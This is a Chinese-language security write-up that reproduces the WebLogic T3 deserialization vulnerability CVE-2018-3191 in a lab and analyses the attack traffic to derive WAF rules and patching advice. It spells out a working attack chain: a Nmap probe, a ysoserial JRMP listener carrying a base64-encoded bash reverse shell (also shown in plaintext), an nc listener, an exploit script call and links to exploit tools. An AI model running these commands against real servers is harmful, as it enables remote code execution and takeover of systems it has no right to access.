從流量側淺談WebLogic遠端程式碼執行漏洞(CVE-2018-3191)
一、前言
在不久前Oracle官方釋出的10月重要補丁更新公告(Oracle Critical Patch Update Advisory – October 2018)中釋出了五個基於T3協議的WebLogic遠端高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均為9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文將針對其中影響較大的CVE-2018-3191進行復現與分析,並在流量端進行追溯。
二、概要
Weblogic是目前全球市場上應用最廣泛的J2EE工具之一,被稱為業界最佳的應用程式伺服器,其用於構建J2EE 應用程式,支援新功能,可降低運營成本,提高效能,增強可擴充套件性並支援Oracle Applications產品組合。
關於T3協議:
說到T3協議就不得不提起JAVA遠端方法呼叫: JAVA RMI(Java Remote Method Invocation) ,其主要用於實現遠端過程呼叫的Application程式設計介面。通過RMI可以使計算機上執行的程式呼叫遠端伺服器上的物件,其目的是使得遠端介面物件的使用盡可能簡化。該介面的實現方式之一即為: JRMP( Java遠端訊息交換協議, Java Remote Message Protocol ) ,也可以使用 CORBA 相容的方法實現。詳細介紹請參考: ofollow" rel="nofollow,noindex" target="_blank">https://blog.csdn.net/cdl2008sky/article/details/6844719 。
T3協議是用於Weblogic伺服器和其他Java Application之間傳輸資訊的協議,是實現上述RMI遠端過程呼叫的專有協議,其允許客戶端進行JNDI呼叫。
當Weblogic發起一個T3協議連線的時候,Weblogic會連線每一個Java虛擬機器並傳輸流量,由於通訊過程得到了極大的簡化,所以使得其在作業系統資源利用上實現的高效以及最大化,同時提高了傳輸速度。
三、分析與復現
3.1 環境說明:
攻擊機:
192.168.137.135 (Linux4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 x86_64 GNU/Linux)
靶機:
192.168.137.128 (Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMPx86_64 GNU/Linux)
3.2 Weblogic服務資訊的快速檢測
首先,需要探測靶機Weblogic服務的相關資訊,通過使用 Nmap 工具進行快速掃描,命令如下:
nmap -Pn -sV 192.168.137.128 -p7001 --script=weblogic-t3-infi.nse
如下圖示記所示,靶機的Weblogic開啟了T3協議,且屬於受CVE-2018-3191影響的版本範圍,因此,存在著漏洞風險。
3.3 建立接收被攻擊方Weblogic請求的JRMP Listener
在獲取靶機的Weblogic版本及T3協議的相關資訊後,即可開始進行漏洞復現。這裡,我們需要使用到ysoserial工具,該工具可以針對不同的Weblogic產品給出漏洞利用指令碼。
下載地址: https://github.com/angelwhu/ysoserial 。
ysoserial工具 基本使用方法:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener【port】 CommonsCollections1 '【commands】'
此處,我們在終端輸入命令:
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2345 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'
目的是在本地建立一個JRMPListener (批註:Java Remote Method Protocol, Java遠端訊息交換協議。 是特定於Java技術的、用於查詢和引用遠端物件的協議。這是執行在RMI之下、TCP/IP之上的線路層協議) ,用於接收被攻擊方的Weblogic請求,並執行指定的bash反彈命令。
命令後半段的bash命令進行了base64轉碼解碼的操作,此舉是為了避免Runtime.getRuntime().exec() 執行過程中將特殊符號轉義,明文為:
<b>bash -i >& /dev/tcp/192.168.138.135/7890 0>&1</b>
下圖可以看到,我們成功打開了JRMP listener:
3.4 監聽7890埠
nc -lvvp 7890
此舉是為了等待靶機反彈bash連線。
3.5 執行Exploit
python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345
Weblogic發起遠端方法呼叫,即 rmi 服務
上圖可以看到,生成了攻擊載荷,且注入成功,此時nc監聽的埠會收到反彈的bash,獲得root許可權。
工具下載地址:
CVE-2018-3191 payload生成工具:
https://github.com/voidfyoo/CVE-2018-3191/releases
Weblogic T3協議傳送工具:
https://github.com/Libraggbond/CVE-2018-3191
(注:工具安全性請自行查驗)
四、流量側捕獲與分析
如圖所示為此次在攻擊過程中在流量側抓取的資料包,其中No.16為帶有攻擊載荷的流量包: 經過對TCP流的追蹤,我們可以在此基礎上進行詳細分析。
4.1 通過T3協議進行通訊
4.2 JtaTransactionManager類
由於此前Oracle官方沒有將 com.bea.core.repackaged 包中的 AbstractPlatformTransactionManager 類加入到黑名單中,因此導致了Spring JNDI注入的發生。通過我們對CVE-2018-3191 POC的分析,在此類中,其主要是使用了 JtaTransactionManager 這個類進行Spring JNDI注入,這點我們也可以在流量端有所發現:
4.3 攻擊payload
4.4 基於T3專有協議的Java.rmi遠端方法呼叫
綜上,通過上述關鍵特徵,我們可以很快提取出waf相關防禦規則。
五、防禦建議
根據本文上述分析,安全工作人員可很快提取相關防禦規則升級至WAF系統,由於攻擊者是通過T3協議來完成攻擊,所以在T3協議訪問控制上應該嚴加管控,ORACLE在本次10月重要披露中除CVE-2018-3252外均可通過 T3協議訪問控制策略 來進行臨時防禦。通過Weblogic中 base_domain的設定頁面的”安全”->”篩選器”來進行配置和防禦 ,具體方法不再贅述,請參考網路資料。
由於本次公開的漏洞涉及到了幾個較大的版本號,所以影響還是非常大的,建議受漏洞影響的使用者儘快升級或更新補丁來進行防護。鑑於Weblogic在防禦反序列化漏洞上通常採用黑名單的方式,黑名單在攻擊防禦側存在嚴重弊端,所以在升級版本或更新補丁的同時 建議將JDK版本升級至最新版本 。
官方修復連結與說明: https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
*本文作者:安天 Web安全團隊,轉載請註明來自FreeBuf.COM